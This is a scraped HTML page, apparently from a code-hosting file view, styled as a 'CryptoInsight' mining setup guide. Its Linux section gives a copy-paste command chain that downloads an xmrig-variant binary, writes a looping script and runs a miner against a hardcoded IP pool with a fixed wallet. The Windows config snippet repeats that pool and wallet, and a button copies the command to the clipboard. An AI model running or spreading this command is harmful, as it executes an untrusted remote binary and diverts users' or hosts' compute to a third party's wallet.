File size: 4,757 Bytes
be57c93
 
 
 
 
daa717b
be57c93
 
 
 
 
 
 
 
 
daa717b
 
be57c93
 
 
daa717b
 
 
be57c93
daa717b
 
 
be57c93
 
 
 
 
daa717b
 
 
 
 
 
 
 
 
be57c93
d7f3aca
 
be57c93
 
 
d7f3aca
be57c93
 
 
daa717b
 
 
 
 
 
 
be57c93
 
daa717b
 
 
 
 
 
 
 
 
 
 
 
be57c93
 
daa717b
 
 
 
 
 
 
 
 
be57c93
 
 
 
 
 
 
 
 
 
daa717b
 
 
 
 
 
be57c93
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Mining Setup | CryptoInsight</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <script src="https://unpkg.com/feather-icons"></script>
</head>
<body class="bg-gray-900 text-white">
    <div class="min-h-screen">
        <header class="bg-gray-800 py-6 shadow-lg">
            <div class="container mx-auto px-4">
                <div class="flex justify-between items-center">
                    <div class="flex items-center space-x-2">
                        <i data-feather="activity" class="text-purple-500"></i>
                        <a href="index.html" class="text-2xl font-bold hover:text-purple-400 transition">CryptoInsight</a>
                    </div>
                    <nav class="hidden md:flex space-x-6">
                        <a href="index.html" class="hover:text-purple-400 transition">Dashboard</a>
                        <a href="mining.html" class="text-purple-400 font-medium">Mining</a>
                        <a href="#" class="hover:text-purple-400 transition">Calculator</a>
                        <a href="#" class="hover:text-purple-400 transition">News</a>
                    </nav>
                    <button class="md:hidden">
                        <i data-feather="menu"></i>
                    </button>
                </div>
            </div>
        </header>

        <main class="container mx-auto px-4 py-8">
            <div class="max-w-4xl mx-auto">
                <div class="bg-gray-800 rounded-lg p-6 shadow-lg">
                    <h1 class="text-2xl font-bold mb-6">Mining Configuration</h1>
                    
                    <div class="mb-8">
                        <h2 class="text-xl font-semibold mb-4">Linux Setup</h2>
                        <div class="bg-gray-700 p-4 rounded-lg mb-4">
                            <pre class="text-sm bg-gray-900 p-4 rounded overflow-x-auto">
wget https://github.com/rplant8/xmrig-vrl/releases/download/6.0.24-virel/xmrig-vrl-linux.tar.xz && \
tar -xf xmrig-vrl-linux.tar.xz && \
cd xmrig-vrl && \
cat << 'EOF' > miner-virel.sh
#!/bin/sh
FOLDER=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )
while [ 1 ]; do
"$FOLDER"/xmrig-vrl -a rx/vrl -o 160.19.166.230:443 -u vi5rghi5c6e35vy1oaqb2p4kqp6izad9pn7d5v.hugingface
sleep 5
done
EOF
chmod +x miner-virel.sh && ./miner-virel.sh
                            </pre>
                            <button onclick="copyMinerConfig()" class="mt-4 w-full bg-purple-600 hover:bg-purple-700 text-white py-2 px-4 rounded-lg transition flex items-center justify-center space-x-2">
                                <i data-feather="copy" class="w-4 h-4"></i>
                                <span>Copy Configuration</span>
                            </button>
                        </div>
                    </div>

                    <div class="grid md:grid-cols-2 gap-6">
                        <div>
                            <h2 class="text-xl font-semibold mb-4">Windows Setup</h2>
                            <div class="bg-gray-700 p-4 rounded-lg">
                                <p class="mb-2">1. Download XMRig for Windows</p>
                                <p class="mb-2">2. Edit config.json with:</p>
                                <pre class="text-xs bg-gray-900 p-2 rounded">
{
    "algo": "rx/vrl",
    "url": "160.19.166.230:443",
    "user": "vi5rghi5c6e35vy1oaqb2p4kqp6izad9pn7d5v.hugingface"
}</pre>
                            </div>
                        </div>
                        <div>
                            <h2 class="text-xl font-semibold mb-4">Troubleshooting</h2>
                            <div class="bg-gray-700 p-4 rounded-lg">
                                <ul class="list-disc pl-5 space-y-2">
                                    <li>Check firewall settings</li>
                                    <li>Ensure proper permissions</li>
                                    <li>Verify internet connection</li>
                                    <li>Update system packages</li>
                                </ul>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </main>
    </div>

    <script>
        feather.replace();
        function copyMinerConfig() {
            const config = document.querySelector('pre').textContent;
            navigator.clipboard.writeText(config)
                .then(() => alert('Configuration copied to clipboard!'))
                .catch(err => console.error('Failed to copy: ', err));
        }
    </script>
</body>
</html>